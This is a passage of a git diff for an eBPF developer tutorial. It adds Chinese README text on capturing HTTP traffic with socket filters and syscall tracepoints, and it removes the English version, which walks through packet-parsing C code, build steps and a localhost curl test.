socket),然后将先前在内核中定义的eBPF程序附加到该套接字上,从而允许eBPF程序捕获和处理从该套接字接收到的网络数据包,例如: + +```c + /* Create raw socket for localhost interface */ + sock = open_raw_sock(interface); + if (sock < 0) { + err = -2; + fprintf(stderr, "Failed to open raw socket\n"); + goto cleanup; + } + + /* Attach BPF program to raw socket */ + prog_fd = bpf_program__fd(skel->progs.socket_handler); + if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) { + err = -3; + fprintf(stderr, "Failed to attach to raw socket\n"); + goto cleanup; + } +``` + +1. `sock = open_raw_sock(interface);`:这行代码调用了一个自定义的函数`open_raw_sock`,该函数用于创建一个原始套接字。原始套接字允许用户态应用程序直接处理网络数据包,而不经过协议栈的处理。函数`open_raw_sock`可能需要一个参数 `interface`,用于指定网络接口,以便确定从哪个接口接收数据包。如果创建套接字失败,它将返回一个负数,否则返回套接字的文件描述符`sock`。 +2. 如果`sock`的值小于0,表示打开原始套接字失败,那么将`err`设置为-2,并在标准错误流上输出一条错误信息。 +3. `prog_fd = bpf_program__fd(skel->progs.socket_handler);`:这行代码获取之前在eBPF程序定义中的套接字过滤器程序(`socket_handler`)的文件描述符,以便后续将它附加到套接字上。`skel`是一个eBPF程序对象的指针,可以通过它来访问程序集合。 +4. `setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))`:这行代码使用`setsockopt`系统调用将eBPF程序附加到原始套接字。它设置了`SO_ATTACH_BPF`选项,将eBPF程序的文件描述符传递给该选项,以便内核知道要将哪个eBPF程序应用于这个套接字。如果附加成功,套接字将开始捕获和处理从中接收到的网络数据包。 +5. 如果`setsockopt`失败,它将`err`设置为-3,并在标准错误流上输出一条错误信息。 + +### 编译运行 + +完整的源代码可以在 中找到。关于如何安装依赖,请参考: 编译运行上述代码: + +```console +$ git submodule update --init --recursive +$ make + BPF .output/sockfilter.bpf.o + GEN-SKEL .output/sockfilter.skel.h + CC .output/sockfilter.o + BINARY sockfilter +$ sudo ./sockfilter +... +``` + +在另外一个窗口中,使用 python 启动一个简单的 web server: + +```console +python3 -m http.server +Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... +127.0.0.1 - - [18/Sep/2023 01:05:52] "GET / HTTP/1.1" 200 - +``` + +可以使用 curl 发起请求: + +```c +$ curl http://0.0.0.0:8000/ + + + + +Directory listing for / +.... +``` + +在 eBPF 程序中,可以看到打印出了 HTTP 请求的内容: + +```console +127.0.0.1:34552(src) -> 127.0.0.1:8000(dst) +payload: GET / HTTP/1.1 +Host: 0.0.0.0:8000 +User-Agent: curl/7.88.1 +... +127.0.0.1:8000(src) -> 127.0.0.1:34552(dst) +payload: HTTP/1.0 200 OK +Server: SimpleHTTP/0.6 Python/3.11.4 +... +``` + +分别包含了请求和响应的内容。 + +## 使用 eBPF syscall tracepoint 来捕获 HTTP 流量 + +eBPF 提供了一种强大的机制,允许我们在内核级别追踪系统调用。在这个示例中,我们将使用 eBPF 追踪 accept 和 read 系统调用,以捕获 HTTP 流量。由于篇幅有限,这里我们仅仅对代码框架做简要的介绍。 + +```c +struct +{ + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 4096); + __type(key, u64); + __type(value, struct accept_args_t); +} active_accept_args_map SEC(".maps"); + +// 定义在 accept 系统调用入口的追踪点 +SEC("tracepoint/syscalls/sys_enter_accept") +int sys_enter_accept(struct trace_event_raw_sys_enter *ctx) +{ + u64 id = bpf_get_current_pid_tgid(); + // ... 获取和存储 accept 调用的参数 + bpf_map_update_elem(&active_accept_args_map, &id, &accept_args, BPF_ANY); + return 0; +} + +// 定义在 accept 系统调用退出的追踪点 +SEC("tracepoint/syscalls/sys_exit_accept") +int sys_exit_accept(struct trace_event_raw_sys_exit *ctx) +{ + // ... 处理 accept 调用的结果 + struct accept_args_t *args = + bpf_map_lookup_elem(&active_accept_args_map, &id); + // ... 获取和存储 accept 调用获得的 socket 文件描述符 + __u64 pid_fd = ((__u64)pid << 32) | (u32)ret_fd; + bpf_map_update_elem(&conn_info_map, &pid_fd, &conn_info, BPF_ANY); + // ... +} + +struct +{ + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 4096); + __type(key, u64); + __type(value, struct data_args_t); +} active_read_args_map SEC(".maps"); + +// 定义在 read 系统调用入口的追踪点 +SEC("tracepoint/syscalls/sys_enter_read") +int sys_enter_read(struct trace_event_raw_sys_enter *ctx) +{ + // ... 获取和存储 read 调用的参数 + bpf_map_update_elem(&active_read_args_map, &id, &read_args, BPF_ANY); + return 0; +} + +// 辅助函数,检查是否为 HTTP 连接 +static inline bool is_http_connection(const char *line_buffer, u64 bytes_count) +{ + // ... 检查数据是否为 HTTP 请求或响应 +} + +// 辅助函数,处理读取的数据 +static inline void process_data(struct trace_event_raw_sys_exit *ctx, + u64 id, const struct data_args_t *args, u64 bytes_count) +{ + // ... 处理读取的数据,检查是否为 HTTP 流量,并发送事件 + if (is_http_connection(line_buffer, bytes_count)) + { + // ... + bpf_probe_read_kernel(&event.msg, read_size, args->buf); + // ... + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, + &event, sizeof(struct socket_data_event_t)); + } +} + +// 定义在 read 系统调用退出的追踪点 +SEC("tracepoint/syscalls/sys_exit_read") +int sys_exit_read(struct trace_event_raw_sys_exit *ctx) +{ + // ... 处理 read 调用的结果 + struct data_args_t *read_args = bpf_map_lookup_elem(&active_read_args_map, &id); + if (read_args != NULL) + { + process_data(ctx, id, read_args, bytes_count); + } + // ... + return 0; +} + +char _license[] SEC("license") = "GPL"; +``` + +这段代码简要展示了如何使用eBPF追踪Linux内核中的系统调用来捕获HTTP流量。以下是对代码的hook位置和流程的详细解释,以及需要hook哪些系统调用来实现完整的请求追踪: + +### **Hook 位置和流程** + +- 该代码使用了eBPF的Tracepoint功能,具体来说,它定义了一系列的eBPF程序,并将它们绑定到了特定的系统调用的Tracepoint上,以捕获这些系统调用的入口和退出事件。 + +- 首先,它定义了两个eBPF哈希映射(`active_accept_args_map`和`active_read_args_map`)来存储系统调用参数。这些映射用于跟踪`accept`和`read`系统调用。 + +- 接着,它定义了多个Tracepoint追踪程序,其中包括: + - `sys_enter_accept`:定义在`accept`系统调用的入口处,用于捕获`accept`系统调用的参数,并将它们存储在哈希映射中。 + - `sys_exit_accept`:定义在`accept`系统调用的退出处,用于处理`accept`系统调用的结果,包括获取和存储新的套接字文件描述符以及建立连接的相关信息。 + - `sys_enter_read`:定义在`read`系统调用的入口处,用于捕获`read`系统调用的参数,并将它们存储在哈希映射中。 + - `sys_exit_read`:定义在`read`系统调用的退出处,用于处理`read`系统调用的结果,包括检查读取的数据是否为HTTP流量,如果是,则发送事件。 + +- 在`sys_exit_accept`和`sys_exit_read`中,还涉及一些数据处理和事件发送的逻辑,例如检查数据是否为HTTP连接,组装事件数据,并使用`bpf_perf_event_output`将事件发送到用户空间供进一步处理。 + +### **需要 Hook 的完整系统调用** + +要实现完整的HTTP请求追踪,通常需要hook的系统调用包括: + +- `socket`:用于捕获套接字创建,以追踪新的连接。 +- `bind`:用于获取绑定的端口信息。 +- `listen`:用于开始监听连接请求。 +- `accept`:用于接受连接请求,获取新的套接字文件描述符。 +- `read`:用于捕获接收到的数据,以检查其中是否包含 HTTP 请求。 +- `write`:用于捕获发送的数据,以检查其中是否包含 HTTP 响应。 + +上述代码已经涵盖了`accept`和`read`系统调用的追踪。要完整实现HTTP请求的追踪,还需要hook其他系统调用,并实现相应的逻辑来处理这些系统调用的参数和结果。 + +完整的源代码可以在 中找到。 + +## 总结 + +在当今复杂的技术环境中,系统的可观测性变得至关重要,特别是在微服务和云原生应用程序的背景下。本文探讨了如何利用eBPF技术来追踪七层协议,以及在这个过程中可能面临的挑战和解决方案。以下是对本文内容的总结: + +1. **背景介绍**: + - 现代应用程序通常由多个微服务和分布式组件组成,因此观测整个系统的行为至关重要。 + - 七层协议(如HTTP、gRPC、MQTT等)提供了深入了解应用程序交互的详细信息,但监控这些协议通常具有挑战性。 + +2. **eBPF技术的作用**: + - eBPF允许开发者在不修改或插入应用程序代码的情况下,深入内核层来实时观测和分析系统行为。 + - eBPF技术为监控七层协议提供了一个强大的工具,特别适用于微服务环境。 + +3. **追踪七层协议**: + - 本文介绍了如何追踪HTTP等七层协议的挑战,包括协议的复杂性和动态性。 + - 传统的网络监控工具难以应对七层协议的复杂性。 + +4. **eBPF的应用**: + - eBPF提供两种主要方法来追踪七层协议:socket filter和syscall trace。 + - 这两种方法可以帮助捕获HTTP等协议的网络请求数据,并分析它们。 + +5. **eBPF实践教程**: + - 本文提供了一个实际的eBPF教程,演示如何使用eBPF socket filter或syscall trace来捕获和分析HTTP流量。 + - 教程内容包括开发eBPF程序、使用eBPF工具链和实施HTTP请求的追踪。 + +通过这篇文章,读者可以获得深入了解如何使用eBPF技术来追踪七层协议,尤其是HTTP流量的知识。这将有助于更好地监控和分析网络流量,从而提高应用程序性能和安全性。如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +> 原文地址: 转载请注明出处。 diff --git a/src/23-http/README_en.md b/src/23-http/README_en.md deleted file mode 100644 index a17c8ed0..00000000 --- a/src/23-http/README_en.md +++ /dev/null @@ -1,639 +0,0 @@ -# L7 Tracing with eBPF: HTTP and Beyond via Socket Filters and Syscall Tracepoints - -In today's technology landscape, with the rise of microservices, cloud-native applications, and complex distributed systems, observability of systems has become a crucial factor in ensuring their health, performance, and security. Especially in a microservices architecture, application components may be distributed across multiple containers and servers, making traditional monitoring methods often insufficient to provide the depth and breadth needed to fully understand the behavior of the system. This is where observing seven-layer protocols such as HTTP, gRPC, MQTT, and more becomes particularly important. - -Seven-layer protocols provide detailed insights into how applications interact with other services and components. In a microservices environment, understanding these interactions is vital, as they often serve as the root causes of performance bottlenecks, failures, and security issues. However, monitoring these protocols is not a straightforward task. Traditional network monitoring tools like tcpdump, while effective at capturing network traffic, often fall short when dealing with the complexity and dynamism of seven-layer protocols. - -This is where eBPF (extended Berkeley Packet Filter) technology comes into play. eBPF allows developers and operators to delve deep into the kernel layer, observing and analyzing system behavior in real-time without the need to modify or insert instrumentation into application code. This presents a unique opportunity to handle application layer traffic more simply and efficiently, particularly in microservices environments. - -In this tutorial, we will delve into the following: - -- Tracking seven-layer protocols such as HTTP and the challenges associated with them. -- eBPF's socket filter and syscall tracing: How these two technologies assist in tracing HTTP network request data at different kernel layers, and the advantages and limitations of each. -- eBPF practical tutorial: How to develop an eBPF program and utilize eBPF socket filter or syscall tracing to capture and analyze HTTP traffic. - -As network traffic increases and applications grow in complexity, gaining a deeper understanding of seven-layer protocols becomes increasingly important. Through this tutorial, you will acquire the necessary knowledge and tools to more effectively monitor and analyze your network traffic, ultimately enhancing the performance of your applications and servers. - -This article is part of the eBPF Developer Tutorial, and for more detailed content, you can visit [here](https://eunomia.dev/tutorials/). The source code is available on the [GitHub repository](https://github.com/eunomia-bpf/bpf-developer-tutorial). - -## Challenges in Tracking HTTP, HTTP/2, and Other Seven-Layer Protocols - -In the modern networking environment, seven-layer protocols extend beyond just HTTP. In fact, there are many seven-layer protocols such as HTTP/2, gRPC, MQTT, WebSocket, AMQP, and SMTP, each serving critical roles in various application scenarios. These protocols provide detailed insights into how applications interact with other services and components. However, tracking these protocols is not a simple task, especially within complex distributed systems. - -1. **Diversity and Complexity**: Each seven-layer protocol has its specific design and workings. For example, gRPC utilizes HTTP/2 as its transport protocol and supports multiple languages, while MQTT is a lightweight publish/subscribe messaging transport protocol designed for low-bandwidth and unreliable networks. - -2. **Dynamism**: Many seven-layer protocols are dynamic, meaning their behavior can change based on network conditions, application requirements, or other factors. - -3. **Encryption and Security**: With increased security awareness, many seven-layer protocols employ encryption technologies such as TLS/SSL. This introduces additional challenges for tracking and analysis, as decrypting traffic is required for in-depth examination. - -4. **High-Performance Requirements**: In high-traffic production environments, capturing and analyzing traffic for seven-layer protocols can impact system performance. Traditional network monitoring tools may struggle to handle a large number of concurrent sessions. - -5. **Data Completeness and Continuity**: Unlike tools like tcpdump, which capture individual packets, tracking seven-layer protocols requires capturing complete sessions, which may involve multiple packets. This necessitates tools capable of correctly reassembling and parsing these packets to provide a continuous session view. - -6. **Code Intrusiveness**: To gain deeper insights into the behavior of seven-layer protocols, developers may need to modify application code to add monitoring functionalities. This not only increases development and maintenance complexity but can also impact application performance. - -As mentioned earlier, eBPF provides a powerful solution, allowing us to capture and analyze seven-layer protocol traffic in the kernel layer without modifying application code. This approach not only offers insights into system behavior but also ensures optimal performance and efficiency. This is why eBPF has become the preferred technology for modern observability tools, especially in production environments that demand high performance and low latency. - -## eBPF Socket Filter vs. Syscall Tracing: In-Depth Analysis and Comparison - -### **eBPF Socket Filter** - -**What Is It?** -eBPF socket filter is an extension of the classic Berkeley Packet Filter (BPF) that allows for more advanced packet filtering directly within the kernel. It operates at the socket layer, enabling fine-grained control over which packets are processed by user-space applications. - -**Key Features:** - -- **Performance**: By handling packets directly within the kernel, eBPF socket filters reduce the overhead of context switches between user and kernel spaces. -- **Flexibility**: eBPF socket filters can be attached to any socket, providing a universal packet filtering mechanism for various protocols and socket types. -- **Programmability**: Developers can write custom eBPF programs to define complex filtering logic beyond simple packet matching. - -**Use Cases:** - -- **Traffic Control**: Restrict or prioritize traffic based on custom conditions. -- **Security**: Discard malicious packets before they reach user-space applications. -- **Monitoring**: Capture specific packets for analysis without affecting other traffic. - -### **eBPF Syscall Tracing** - -**What Is It?** -System call tracing using eBPF allows monitoring and manipulation of system calls made by applications. System calls are the primary mechanism through which user-space applications interact with the kernel, making tracing them a valuable way to understand application behavior. - -**Key Features:** - -- **Granularity**: eBPF allows tracing specific system calls, even specific parameters within those system calls. -- **Low Overhead**: Compared to other tracing methods, eBPF syscall tracing is designed to have minimal performance impact. -- **Security**: Kernel validates eBPF programs to ensure they do not compromise system stability. - -**How It Works:** -eBPF syscall tracing typically involves attaching eBPF programs to tracepoints or kprobes related to the system calls being traced. When the traced system call is invoked, the eBPF program is executed, allowing data collection or even modification of system call parameters. - -### Comparison of eBPF Socket Filter and Syscall Tracing - -| Aspect | eBPF Socket Filter | eBPF Syscall Tracing | -| ------ | ------------------- | --------------------- | -| **Operational Layer** | Socket layer, primarily dealing with network packets received from or sent to sockets. | System call layer, monitoring and potentially altering the behavior of system calls made by applications. | -| **Primary Use Cases** | Mainly used for filtering, monitoring, and manipulation of network packets. | Used for performance analysis, security monitoring, and debugging of interactions with the network. | -| **Granularity** | Focuses on individual network packets. | Can monitor a wide range of system activities, including those unrelated to networking. | -| **Tracking HTTP Traffic** | Can be used to filter and capture HTTP packets passed through sockets. | Can trace system calls associated with networking operations, which may include HTTP traffic. | - -In summary, both eBPF socket filters and syscall tracing can be used to trace HTTP traffic, but socket filters are more direct and suitable for this purpose. However, if you are interested in the broader context of how an application interacts with the system (e.g., which system calls lead to HTTP traffic), syscall tracing can be highly valuable. In many advanced observability setups, both tools may be used simultaneously to provide a comprehensive view of system and network behavior. - -## Capturing HTTP Traffic with eBPF Socket Filter - -eBPF code consists of user-space and kernel-space components, and here we primarily focus on the kernel-space code. Below is the main logic for capturing HTTP traffic in the kernel using eBPF socket filter technology, and the complete code is provided: - -```c -SEC("socket") -int socket_handler(struct __sk_buff *skb) -{ - struct so_event *e; - __u8 verlen; - __u16 proto; - __u32 nhoff = ETH_HLEN; - __u32 ip_proto = 0; - __u32 tcp_hdr_len = 0; - __u16 tlen; - __u32 payload_offset = 0; - __u32 payload_length = 0; - __u8 hdr_len; - - bpf_skb_load_bytes(skb, 12, &proto, 2); - proto = __bpf_ntohs(proto); - if (proto != ETH_P_IP) - return 0; - - if (ip_is_fragment(skb, nhoff)) - return 0; - - // ip4 header lengths are variable - // access ihl as a u8 (linux/include/linux/skbuff.h) - bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len)); - hdr_len &= 0x0f; - hdr_len *= 4; - - /* verify hlen meets minimum size requirements */ - if (hdr_len < sizeof(struct iphdr)) - { - return 0; - } - - bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); - - if (ip_proto != IPPROTO_TCP) - { - return 0; - } - - tcp_hdr_len = nhoff + hdr_len; - bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); - bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); - - __u8 doff; - bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); // read the first byte past __tcphdr->ack_seq, we can't do offsetof bit fields - doff &= 0xf0; // clean-up res1 - doff >>= 4; // move the upper 4 bits to low - doff *= 4; // convert to bytes length - - payload_offset = ETH_HLEN + hdr_len + doff; - payload_length = __bpf_ntohs(tlen) - hdr_len - doff; - - char line_buffer[7]; - if (payload_length < 7 || payload_offset < 0) - { - return 0; - } - bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); - bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); - if (bpf_strncmp(line_buffer, 3, "GET") != 0 && - bpf_strncmp(line_buffer, 4, "POST") != 0 && - bpf_strncmp(line_buffer, 3, "PUT") != 0 && - bpf_strncmp(line_buffer, 6, "DELETE") != 0 && - bpf_strncmp(line_buffer, 4, "HTTP") != 0) - { - return 0; - } - - /* reserve sample from BPF ringbuf */ - e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); - if (!e) - return 0; - - e->ip_proto = ip_proto; - bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4); - e->pkt_type = skb->pkt_type; - e->ifindex = skb->ifindex; - - e->payload_length = payload_length; - bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE); - - bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4); - bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4); - bpf_ringbuf_submit(e, 0); - - return skb->len; -} -``` - -When analyzing this eBPF program, we will explain it in detail according to the content of each code block and provide relevant background knowledge: - -```c -SEC("socket") -int socket_handler(struct __sk_buff *skb) -{ - // ... -} -``` - -This is the entry point of the eBPF program, defining a function named `socket_handler` that the kernel uses to handle incoming network packets. This function is located in an eBPF section named `socket`, indicating that it is intended for socket handling. - -```c -struct so_event *e; -__u8 verlen; -__u16 proto; -__u32 nhoff = ETH_HLEN; -__u32 ip_proto = 0; -__u32 tcp_hdr_len = 0; -__u16 tlen; -__u32 payload_offset = 0; -__u32 payload_length = 0; -__u8 hdr_len; -``` - -In this code block, several variables are defined to store information needed during packet processing. These variables include `struct so_event *e` for storing event information, `verlen`, `proto`, `nhoff`, `ip_proto`, `tcp_hdr_len`, `tlen`, `payload_offset`, `payload_length`, and `hdr_len` for storing packet information. - -- `struct so_event *e;`: This is a pointer to the `so_event` structure for storing captured event information. The specific definition of this structure is located elsewhere in the program. -- `__u8 verlen;`, `__u16 proto;`, `__u32 nhoff = ETH_HLEN;`: These variables are used to store various pieces of information, such as protocol types, packet offsets, etc. `nhoff` is initialized to the length of the Ethernet frame header, typically 14 bytes, as Ethernet frame headers include destination MAC address, source MAC address, and frame type fields. -- `__u32 ip_proto = 0;`: This variable is used to store the type of the IP protocol and is initialized to 0. -- `__u32 tcp_hdr_len = 0;`: This variable is used to store the length of the TCP header and is initialized to 0. -- `__u16 tlen;`: This variable is used to store the total length of the IP packet. -- `__u32 payload_offset = 0;`, `__u32 payload_length = 0;`: These two variables are used to store the offset and length of the HTTP request payload. -- `__u8 hdr_len;`: This variable is used to store the length of the IP header. - -```c -bpf_skb_load_bytes(skb, 12, &proto, 2); -proto = __bpf_ntohs(proto); -if (proto != ETH_P_IP) - return 0; -``` - -Here, the code loads the Ethernet frame type field from the packet, which tells us the network layer protocol being used in the packet. It then uses the `__bpf_ntohs` function to convert the network byte order type field into host byte order. Next, the code checks if the type field is not equal to the Ethernet frame type for IPv4 (0x0800). If it's not equal, it means the packet is not an IPv4 packet, and the function returns 0, indicating that the packet should not be processed. - -Key concepts to understand here: - -- Ethernet Frame: The Ethernet frame is a data link layer (Layer 2) protocol used for transmitting data frames within a local area network (LAN). Ethernet frames typically include destination MAC address, source MAC address, and frame type fields. -- Network Byte Order: Network protocols often use big-endian byte order to represent data. Therefore, data received from the network needs to be converted into host byte order for proper interpretation on the host. Here, the type field from the network is converted to host byte order for further processing. -- IPv4 Frame Type (ETH_P_IP): This represents the frame type field in the Ethernet frame, where 0x0800 indicates IPv4. - -```c -if (ip_is_fragment(skb, nhoff)) - return 0; -``` - -This part of the code checks if IP fragmentation is being handled. IP fragmentation is a mechanism for splitting larger IP packets into multiple smaller fragments for transmission. Here, if the packet is an IP fragment, the function returns 0, indicating that only complete packets will be processed. - -```c -static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff) -{ - __u16 frag_off; - - bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2); - frag_off = __bpf_ntohs(frag_off); - return frag_off & (IP_MF | IP_OFFSET); -} -``` - -The above code is a helper function used to check if the incoming IPv4 packet is an IP fragment. IP fragmentation is a mechanism where, if the size of an IP packet exceeds the Maximum Transmission Unit (MTU) of the network, routers split it into smaller fragments for transmission across the network. The purpose of this function is to examine the fragment flags and fragment offset fields within the packet to determine if it is a fragment. - -Here's an explanation of the code line by line: - -1. `__u16 frag_off;`: Defines a 16-bit unsigned integer variable `frag_off` to store the fragment offset field. -2. `bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);`: This line of code uses the `bpf_skb_load_bytes` function to load the fragment offset field from the packet. `nhoff` is the offset of the IP header within the packet, and `offsetof(struct iphdr, frag_off)` calculates the offset of the fragment offset field within the IPv4 header. -3. `frag_off = __bpf_ntohs(frag_off);`: Converts the loaded fragment offset field from network byte order (big-endian) to host byte order. Network protocols typically use big-endian to represent data, and the conversion to host byte order is done for further processing. -4. `return frag_off & (IP_MF | IP_OFFSET);`: This line of code checks the value of the fragment offset field using a bitwise AND operation with two flag values: - - `IP_MF`: Represents the "More Fragments" flag. If this flag is set to 1, it indicates that the packet is part of a fragmented sequence and more fragments are expected. - - `IP_OFFSET`: Represents the fragment offset field. If the fragment offset field is non-zero, it indicates that the packet is part of a fragmented sequence and has a fragment offset value. - If either of these flags is set to 1, the result is non-zero, indicating that the packet is an IP fragment. If both flags are 0, it means the packet is not fragmented. - -It's important to note that the fragment offset field in the IP header is specified in units of 8 bytes, so the actual byte offset is obtained by left-shifting the value by 3 bits. Additionally, the "More Fragments" flag (IP_MF) in the IP header indicates whether there are more fragments in the sequence and is typically used in conjunction with the fragment offset field to indicate the status of fragmented packets. - -```c -bpf_skb_load_bytes(skb, ETH_HLEN, & - -hdr_len, sizeof(hdr_len)); -hdr_len &= 0x0f; -hdr_len *= 4; -``` - -In this part of the code, the length of the IP header is loaded from the packet. The IP header length field contains information about the length of the IP header in units of 4 bytes, and it needs to be converted to bytes. Here, it is converted by performing a bitwise AND operation with 0x0f and then multiplying it by 4. - -Key concept: - -- IP Header: The IP header contains fundamental information about a packet, such as the source IP address, destination IP address, protocol type, total length, identification, flags, fragment offset, time to live (TTL), checksum, source port, and destination port. - -```c -if (hdr_len < sizeof(struct iphdr)) -{ - return 0; -} -``` - -This code segment checks if the length of the IP header meets the minimum length requirement, typically 20 bytes. If the length of the IP header is less than 20 bytes, it indicates an incomplete or corrupted packet, and the function returns 0, indicating that the packet should not be processed. - -Key concept: - -- `struct iphdr`: This is a structure defined in the Linux kernel, representing the format of an IPv4 header. It includes fields such as version, header length, service type, total length, identification, flags, fragment offset, time to live, protocol, header checksum, source IP address, and destination IP address, among others. - -```c -bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1); -if (ip_proto != IPPROTO_TCP) -{ - return 0; -} -``` - -Here, the code loads the protocol field from the IP header to determine the transport layer protocol used in the packet. Then, it checks if the protocol field is not equal to the value for TCP (IPPROTO_TCP). If it's not TCP, it means the packet is not an HTTP request or response, and the function returns 0. - -Key concept: - -- Transport Layer Protocol: The protocol field in the IP header indicates the transport layer protocol used in the packet, such as TCP, UDP, or ICMP. - -```c -tcp_hdr_len = nhoff + hdr_len; -``` - -This line of code calculates the offset of the TCP header. It adds the length of the Ethernet frame header (`nhoff`) to the length of the IP header (`hdr_len`) to obtain the starting position of the TCP header. - -```c -bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1); -``` - -This line of code loads the first byte of the TCP header from the packet, which contains information about the TCP header length. This length field is specified in units of 4 bytes and requires further conversion. - -```c -bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen)); -``` - -This line of code loads the total length field of the IP header from the packet. The IP header's total length field represents the overall length of the IP packet, including both the IP header and the data portion. - -```c -__u8 doff; -bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); -doff &= 0xf0; -doff >>= 4; -doff *= 4; -``` - -This piece of code is used to calculate the length of the TCP header. It loads the Data Offset field (also known as the Header Length field) from the TCP header, which represents the length of the TCP header in units of 4 bytes. The code clears the high four bits of the offset field, then shifts it right by 4 bits, and finally multiplies it by 4 to obtain the actual length of the TCP header. - -Key points to understand: - -- TCP Header: The TCP header contains information related to the TCP protocol, such as source port, destination port, sequence number, acknowledgment number, flags (e.g., SYN, ACK, FIN), window size, and checksum. - -```c -payload_offset = ETH_HLEN + hdr_len + doff; -payload_length = __bpf_ntohs(tlen) - hdr_len - doff; -``` - -These two lines of code calculate the offset and length of the HTTP request payload. They add the lengths of the Ethernet frame header, IP header, and TCP header together to obtain the offset to the data portion of the HTTP request. Then, by subtracting the total length, IP header length, and TCP header length from the total length field, they calculate the length of the HTTP request data. - -Key point: - -- HTTP Request Payload: The actual data portion included in an HTTP request, typically consisting of the HTTP request headers and request body. - -```c -char line_buffer[7]; -if (payload_length < 7 || payload_offset < 0) -{ - return 0; -} -bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7); -bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer); -``` - -This portion of the code loads the first 7 bytes of the HTTP request line and stores them in a character array named `line_buffer`. It then checks if the length of the HTTP request data is less than 7 bytes or if the offset is negative. If these conditions are met, it indicates an incomplete HTTP request, and the function returns 0. Finally, it uses the `bpf_printk` function to print the content of the HTTP request line to the kernel log for debugging and analysis. - -```c -if (bpf_strncmp(line_buffer, 3, "GET") != 0 && - bpf_strncmp(line_buffer, 4, "POST") != 0 && - bpf_strncmp(line_buffer, 3, "PUT") != 0 && - bpf_strncmp(line_buffer, 6, "DELETE") != 0 && - bpf_strncmp(line_buffer, 4, "HTTP") != 0) -{ - return 0; -} -``` - -> Note: The `bpf_strncmp` function is a helper function available from kernel version 5.17. For earlier versions, you can manually write a function to compare strings. - -This piece of code uses the `bpf_strncmp` function to compare the data in `line_buffer` with HTTP request methods (GET, POST, PUT, DELETE, HTTP). If there is no match, indicating that it is not an HTTP request, it returns 0, indicating that it should not be processed. - -```c -e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); -if (!e) - return 0; -``` - -This section of the code attempts to reserve a block of memory from the BPF ring buffer to store event information. If it cannot reserve the memory block, it returns 0. The BPF ring buffer is used to pass event data between the eBPF program and user space. - -Key point: - -- BPF Ring Buffer: The BPF ring buffer is a mechanism for passing data between eBPF programs and user space. It can be used to store event information for further processing or analysis by user space applications. - -```c -e->ip_proto = ip_proto; -bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4); -e->pkt_type = skb->pkt_type; -e->ifindex = skb->ifindex; - -e->payload_length = payload_length; -bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE); - -bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4); -bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4); -bpf_ringbuf_submit(e, 0); - -return skb->len; -``` - -Finally, this code segment stores the captured event information in the `e` structure and submits it to the BPF ring buffer. It includes information such as the captured IP protocol, source and destination ports, packet type, interface index, payload length, source IP address, and destination IP address. Finally, it returns the length of the packet, indicating that the packet was successfully processed. - -This code is primarily used to store captured event information for further processing. The BPF ring buffer is used to pass this information to user space for additional handling or logging. - -In summary, this eBPF program's main task is to capture HTTP requests. It accomplishes this by parsing the Ethernet frame, IP header, and TCP header of incoming packets to determine if they contain HTTP requests. Information about the requests is then stored in the `so_event` structure and submitted to the BPF ring buffer. This is an efficient method for capturing HTTP traffic at the kernel level and is suitable for applications such as network monitoring and security analysis. - -### Potential Limitations - -The above code has some potential limitations, and one of the main limitations is that it cannot handle URLs that span multiple packets. - -- Cross-Packet URLs: The code checks the URL in an HTTP request by parsing a single data packet. If the URL of an HTTP request spans multiple packets, it will only examine the URL in the first packet. This can lead to missing or partially capturing long URLs that span multiple data packets. - -To address this issue, a solution often involves reassembling multiple packets to reconstruct the complete HTTP request. This may require implementing packet caching and assembly logic within the eBPF program and waiting to collect all relevant packets until the HTTP request is detected. This adds complexity and may require additional memory to handle cases where URLs span multiple packets. - -### User-Space Code - -The user-space code's main purpose is to create a raw socket and then attach the previously defined eBPF program in the kernel to that socket, allowing the eBPF program to capture and process network packets received on that socket. Here's an example of the user-space code: - -```c -/* Create raw socket for localhost interface */ -sock = open_raw_sock(interface); -if (sock < 0) { - err = -2; - fprintf(stderr, "Failed to open raw socket\n"); - goto cleanup; -} - -/* Attach BPF program to raw socket */ -prog_fd = bpf_program__fd(skel->progs.socket_handler); -if 